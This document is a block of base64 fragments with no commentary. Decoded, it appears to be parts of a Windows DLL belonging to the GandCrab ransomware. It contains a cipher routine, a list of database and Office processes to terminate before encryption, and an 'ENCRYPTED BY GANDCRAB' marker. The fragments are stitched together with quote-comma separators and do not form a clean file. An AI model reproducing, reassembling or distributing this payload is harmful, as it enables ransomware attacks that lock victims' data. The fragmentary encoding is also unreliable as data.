CQAAAAAAAAAAAAMgFQAAAAAAAAAAAAPoIQAAAAAAAAAAAQJwMQAAAAAAAAAAAUMMPQAAAAAAAAAAAJPQSQAAAAAAAAACAlpgWQAAAAAAAAAAgvL4ZQAAAAAAABL/JG440QAAAAKHtzM4bwtNOQCDwnrVwK6itxZ1pQNBd/SXlGo5PGeuDQHGW15VDDgWNKa+eQPm/oETtgRKPgYK5QL881abP/0kfeMLTQG/G4IzpgMlHupOoQbyFa1UnOY33cOB8Qrzdjt75nfvrfqpRQ6HmduPM8ikvhIEmRCgQF6r4rhDjxcT6ROun1PP36+FKepXPRWXMx5EOpq6gGeOjRg1lFwx1gYZ1dslITVhC5KeTOTs1uLLtU02n5V09xV07i56SWv9dpvChIMBUpYw3YdH9i1qL2CVdifnbZ6qV+PMnv6LIXd2AbkzJm5cgigJSYMQldQAAAADNzM3MzMzMzMzM+z9xPQrXo3A9Ctej+D9aZDvfT42XbhKD9T/D0yxlGeJYF7fR8T/QDyOERxtHrMWn7j9AprZpbK8FvTeG6z8zPbxCeuXVlL/W5z/C/f3OYYQRd8yr5D8vTFvhTcS+lJXmyT+SxFM7dUTNFL6arz/eZ7qUOUWtHrHPlD8kI8bivLo7MWGLej9hVVnBfrFTfBK7Xz/X7i+NBr6ShRX7RD8kP6XpOaUn6n+oKj99rKHkvGR8RtDdVT5jewbMI1R3g/+RgT2R+joZemMlQzHArDwhidE4gkeXuAD91zvciFgIG7Ho44amAzvGhEVCB7aZdTfbLjozcRzSI9sy7kmQWjmmh77AV9qlgqaitTLiaLIRp1KfRFm3ECwlSeQtNjRPU67OayWPWQSkwN7Cffvoxh6e54haV5E8v1CDIhhOS2Vi/YOPrwaUfRHkLd6fztLIBN2m2AoAAAAAAAAAAAAAAIAQRAAAAQAAAAAAAIAAMAAAAQAAAAAAAAAAEBAQkhoQEBAQEBAZHBAQGTgQEBkAEBAZNBAQGVAQEBkIEBAZMBAQGVQQEBkEEBAZJBAQGVgQEBkMEBAZPBAQGRgQEBkUEBAZIBAQ7+49ED0QPRAtEDAQMBAwEDAQVxBREF4QVBBTEEIQURBSEDAQRhBrEEYQbRAwEDAQMBAwEC0QPRA9ED0QMBAdEBoQHRAaEDoQOhA6EDoQOhA6EDoQOhA6EDoQOhA6EDoQOhA6EDoQOhA6EDoQOhA6EDoQOhBFEF4QVBBVEEIQMBBeEF8QMBBTEFkQQhBTEEUQXRBDEEQQURBeEFMQVRBDEDAQVBBfEDAQXhBfEEQQMBBUEFUQXBBVEEQQVRAwEEQQWBBZEEMQMBBWEFkQXBBVEDwQMBBFEF4QRBBZEFwQMBBREFwQXBAwEEkQXxBFEEIQMBBUEFEQRBBREDAQWRBDEDAQQhBVEFMQXxBGEFUQQhBVEFQQOhA6EDoQOhA6EDoQOhA6EDoQOhA6EDoQOhA6EDoQOhA6EDoQOhA6EDoQOhA6EB0QGhAdEBoQGRA6EDoQOhA6EDoQVhBREFkQXBBZEF4QVxAwEEQQXxAwEFQQXxAwEEMQXxA8EDAQRxBZEFwQXBAwEEIQVRBDEEUQXBBEEDAQWRBeEDAQSRBfEEUQQhAwEEMQSRBDEEQQVRBdEDAQUxBfEEIQQhBFEEAQRBBZEF8QXhA8EDAQWRBWEDAQRBBYEFUQQhBVEDAQURBCEFUQMBBUEFUQUxBCEEkQQBBEEFkQXxBeEDAQVRBCEEIQXxBCEEMQOhA6EDoQOhA6EB0QGhAdEBoQURBkEGQQdRB+EGQQeRB/EH4QMRAwEB0QGhAdEBoQURB8EHwQMBBpEH8QZRBiEDAQdhB5EHwQdRBjEDwQMBB0EH8QcxBlEH0QdRB+EGQQYxA8EDAQYBB4EH8QZBB/EGMQPBAwEHQQcRBkEHEQchBxEGMQdRBjEDAQcRB+EHQQMBB/EGQQeBB1EGIQMBB5EH0QYBB/EGIQZBBxEH4QZBAwEHYQeRB8EHUQYxAwEHEQYhB1EDAQdRB+EHMQYhBpEGAQZBB1EHQQMBBxEH4QdBAwEHgQcRBmEHUQMBBkEHgQdRAwEHUQaBBkEHUQfhBjEHkQfxB+ECoQMBA+EGsQVRBIEEQQVRBeEEMQWRBfEF4QbRAwEDAQHRAaEB0QGhBEEHgQdRAwEH8QfhB8EGkQMBB9EHUQZBB4EH8QdBAwEH8QdhAwEGIQdRBzEH8QZhB1EGIQeRB+EHcQMBB2EHkQfBB1EGMQMBB5EGMQMBBkEH8QMBBgEGUQYhBzEHgQcRBjEHUQMBBxEH4QMBBlEH4QeRBhEGUQdRAwEGAQYhB5EGYQcRBkEHUQMBB7EHUQaRA+EDAQXxB+EHwQaRAwEGcQdRAwEHMQcRB+EDAQdxB5EGYQdRAwEGkQfxBlEDAQZBB4EHkQYxAwEHsQdRBpEDAQcRB+EHQQMBB/EH4QfBBpEDAQZxB1EDAQcxBxEH4QMBBiEHUQcxB/EGYQdRBiEDAQaRB/EGUQYhAwEHYQeRB8EHUQYxA+EB0QGhAdEBoQHRAaEEQQeBB1EDAQYxB1EGIQZhB1EGIQMBBnEHkQZBB4EDAQaRB/EGUQYhAwEHsQdRBpEDAQeRBjEDAQeRB+EDAQcRAwEHMQfBB/EGMQdRB0EDAQfhB1EGQQZxB/EGIQexAwEEQQXxBCED4QMBBJEH8QZRAwEHMQcRB+EDAQdxB1EGQQMBBkEHgQdRBiEHUQMBByEGkQMBBkEHgQdRAwEHYQfxB8EHwQfxBnEHkQfhB3EDAQZxBxEGkQYxAqEB0QGhAdEBoQPRA9ED0QPRA9ED0QPRA9ED0QPRA9ED0QPRA9ED0QPRA9ED0QPRA9ED0QPRA9ED0QPRA9ED0QPRA9ED0QPRA9ED0QPRA9ED0QPRA9ED0QPRA9ED0QPRA9ED0QPRA9ED0QPRA9ED0QPRA9ED0QPRA9ED0QPRA9ED0QPRA9ED0QPRA9ED0QPRA9ED0QPRA9ED0QPRA9ED0QPRA9ED0QPRA9ED0QPRA9ED0QPRA9ED0QPRAdEBoQHRAaEGwQMBAgED4QMBBUEH8QZxB+EHwQfxBxEHQQMBBEEH8QYhAwEHIQYhB/EGcQYxB1EGIQMBA9EDAQeBBkEGQQYBBjECoQPxA/EGcQZxBnED4QZBB/EGIQYBBiEH8QehB1EHMQZBA+EH8QYhB3ED8QMBAdEBoQHRAaEGwQMBAhED4QMBBZEH4QYxBkEHEQfBB8EDAQRBB/EGIQMBByEGIQfxBnEGMQdRBiEDAQHRAaEGwQMBAiED4QMBBfEGAQdRB+EDAQRBB/EGIQMBBSEGIQfxBnEGMQdRBiEDAQHRAaEGwQMBAjED4QMBBfEGAQdRB+EDAQfBB5EH4QexAwEHkQfhAwEEQQXxBCEDAQchBiEH8QZxBjEHUQYhAqEDAQMBAwEHgQZBBkEGAQKhA/ED8Qd','EmD/v90RDPbi8uKBE+IhA0I/v//ZjkcT3QJQYH59AEAAHLnU42FBP7//4hd+1CNhQj+//9Q6C0FAABZUI2FCP7//1BW/xXgMQEQW4tN/F8zzV7oO/D//4vlXcNTU1NTU+id9P//zMxVi+yLRQgz0lNWV4tIPAPID7dBFA+3WQaDwBgDwYXbdBuLfQyLcAw7/nIJi0gIA847+XIKQoPAKDvTcugzwF9eW13DzMzMzMzMzMzMzMzMzFWL7Gr+aFCJARBoQL4AEGShAAAAAFCD7AhTVlehUKoBEDFF+DPFUI1F8GSjAAAAAIll6MdF/AAAAABoAAAAEOh8AAAAg8QEhcB0VItFCC0AAAAQUGgAAAAQ6FL///+DxAiFwHQ6i0Akwegf99CD4AHHRfz+////i03wZIkNAAAAAFlfXluL5V3Di0XsiwAzyYE4BQAAwA+UwYvBw4tl6MdF/P7///8zwItN8GSJDQAAAABZX15bi+Vdw8zMzMzMzFWL7ItFCLlNWgAAZjkIdAQzwF3Di0g8A8gzwIE5UEUAAHUMugsBAABmOVEYD5TAXcNWagRqIOgp6v//WVmL8Fb/FTAyARCjzCMCEKPIIwIQhfZ1BWoYWF7DgyYAM8Bew1WL7P812BACEP8VNDIBEIXAdA//dQj/0FmFwHQFM8BAXcMzwF3DzMzMzMzMzMzMzFNWV4tUJBCLRCQUi0wkGFVSUFFRaJDWABBk/zUAAAAAoVCqARAzxIlEJAhkiSUAAAAAi0QkMItYCItMJCwzGYtwDIP+/nQ7i1QkNIP6/nQEO/J2Lo00do1csxCLC4lIDIN7BAB1zGgBAQAAi0MI6EIKAAC5AQAAAItDCOhUCgAA67BkjwUAAAAAg8QYX15bw4tMJAT3QQQGAAAAuAEAAAB0M4tEJAiLSAgzy','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vIiU3Yi0XYK0XoiUXYxkWgRcZFoU7GRaJDxkWjUsZFpFnGRaVQxkWmVMZFp0XGRahExkWpIMZFqkLGRatZxkWsIMZFrUfGRa5BxkWvTsZFsETGRbFDxkWyUsZFs0HGRbRCxkW1IMZFtiXGRbdzxkW4AIOl4P7//wC5ZHQBEOii8///iUXEg33EAHRh/3XE/xXIMQEQg8Aai8jocPX//4lFyIN9yAB0Pf91xI1FoFD/dc','xBxEH4QdBBzEGIQcRByEH0QdhB1ECYQfRB+EHUQdhA+EH8QfhB5EH8QfhA/EGsQRRBDEFUQQhBZEFQQbRAwEDAQMBAwEDAQMBAwEDAQMBAwEDAQMBAwEDAQMBAwEDAQMBAwEDAQMBAwEDAQMBAwEDAQMBAwEDAQMBAwEDAQHRAaEGwQMBAkED4QMBBWEH8QfBB8EH8QZxAwEGQQeBB1EDAQeRB+EGMQZBBiEGUQcxBkEHkQfxB+EGMQMBB/EH4QMBBkEHgQeRBjEDAQYBBxEHcQdRAwEB0QGhAdEBoQPRA9ED0QPRA9ED0QPRA9ED0QPRA9ED0QPRA9ED0QPRA9ED0QPRA9ED0QPRA9ED0QPRA9ED0QPRA9ED0QPRA9ED0QPRA9ED0QPRA9ED0QPRA9ED0QPRA9ED0QPRA9ED0QPRA9ED0QPRA9ED0QPRA9ED0QPRA9ED0QPRA9ED0QPRA9ED0QPRA9ED0QPRA9ED0QPRA9ED0QPRA9ED0QPRA9ED0QPRA9ED0QPRA9ED0QPRAwEDAQMBAwEDAQMBAwEDAQMBAwEDAQMBAwEDAQMBAwEDAQMBAwEDAQHRAaEDAQMBAwEDAQHRAaEB0QGhBfEH4QMBB/EGUQYhAwEGAQcRB3EHUQMBBpEH8QZRAwEGcQeRB8EHwQMBBjEHUQdRAwEHkQfhBjEGQQYhBlEHMQZBB5EH8QfhBjEDAQfxB+EDAQYBBxEGkQfRB1EH4QZBAwEHEQfhB0EDAQdxB1EGQQMBBkEHgQdRAwEH8QYBBgEH8QYhBkEGUQfhB5EGQQaRAwEGQQfxAwEHQQdRBzEGIQaRBgEGQQMBAhEDAQdhB5EHwQdRAwEHYQfxBiEDAQdhBiEHUQdRA+EDAQHRAaEB0QGhAdEBoQURBEEEQQVRBeEEQQWRBfEF4QMRAdEBoQHRAaEFkQXhAwEF8QQhBUEFUQQhAwEEQQXxAwEEAQQhBVEEYQVRBeEEQQMBBUEFEQRBBREDAQVBBREF0QURBXEFUQKhAdEBoQHRAaEDoQMBBUEF8QMBBeEF8QRBAwEF0QXxBUEFkQVhBJEDAQVRBeEFMQQhBJEEAQRBBVEFQQMBBWEFkQXBBVEEMQHRAaEDoQMBBUEF8QMBBeEF8QRBAwEFMQWBBREF4QVxBVEDAQVBBREEQQURAwEFIQVRBcEF8QRxAdEBoQHRAaEBAQE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','geEfAACAeQVJg8ngQWofWCvBiUXQM8CLTdBA0+CFRJXwD4SSAAAAi8fT4PfQhUSV8OsEOVyV8HUHQjvWfPXrdot9zIvHah+ZWSPRA9DB+gWB5x8AAIB5BU+Dz+BHi0SV8CvPM/9H0+eLy4l93AP4iX3gO/iLReBq/19yBTtF3HMDM8lBiUSV8Ep4KIXJdCGLRJXwi8uNeAE7+Il94IvHcgWD+AFzAzPJQYlElfBKeduDz/+LTdCLVdSLx9PgIUSV8EI71n0RjX3wi86NPJcryjPA86uDz/+LDbytARBBi8GZg+IfA8LB+AWJRdiB4R8AAIB5BUmDyeBBiU3ci8PT52o','AHkAcwBxAGwAZAAtAG8AcAB0AC4AZQB4AGUAAAAAAGQAYgBlAG4AZwA1ADAALgBlAHgAZQAAAHMAcQBiAGMAbwByAGUAcwBlAHIAdgBpAGMAZQAuAGUAeABlAAAAAABlAHgAYwBlAGwALgBlAHgAZQAAAGkAbgBmAG8AcABhAHQAaAAuAGUAeABlAAAAAABtAHMAYQBjAGMAZQBzAHMALgBlAHgAZQAAAAAAbQBzAHAAdQBiAC4AZQB4AGUAAABvAG4AZQBuAG8AdABlAC4AZQB4AGUAAABvAHUAdABsAG8AbwBrAC4AZQB4AGUAAABwAG8AdwBlAHIAcABuAHQALgBlAHgAZQAAAAAAcwB0AGUAYQBtAC4AZQB4AGUAAAB0AGgAZQBiAGEAdAAuAGUAeABlAAAAAAB0AGgAZQBiAGEAdAA2ADQALgBlAHgAZQAAAAAAdABoAHUAbgBkAGUAcgBiAGkAcgBkAC4AZQB4AGUAAAB2AGkAcwBpAG8ALgBlAHgAZQAAAHcAaQBuAHcAbwByAGQALgBlAHgAZQAAAHcAbwByAGQAcABhAGQALgBlAHgAZQAAAHcAcAAtAGMAbwBuAHQAZQBuAHQAAAAAAHMAdABhAHQAaQBjAAAAAABjAG8AbgB0AGUAbgB0AAAAaQBuAGMAbAB1AGQAZQBzAAAAAABkAGEAdABhAAAAAA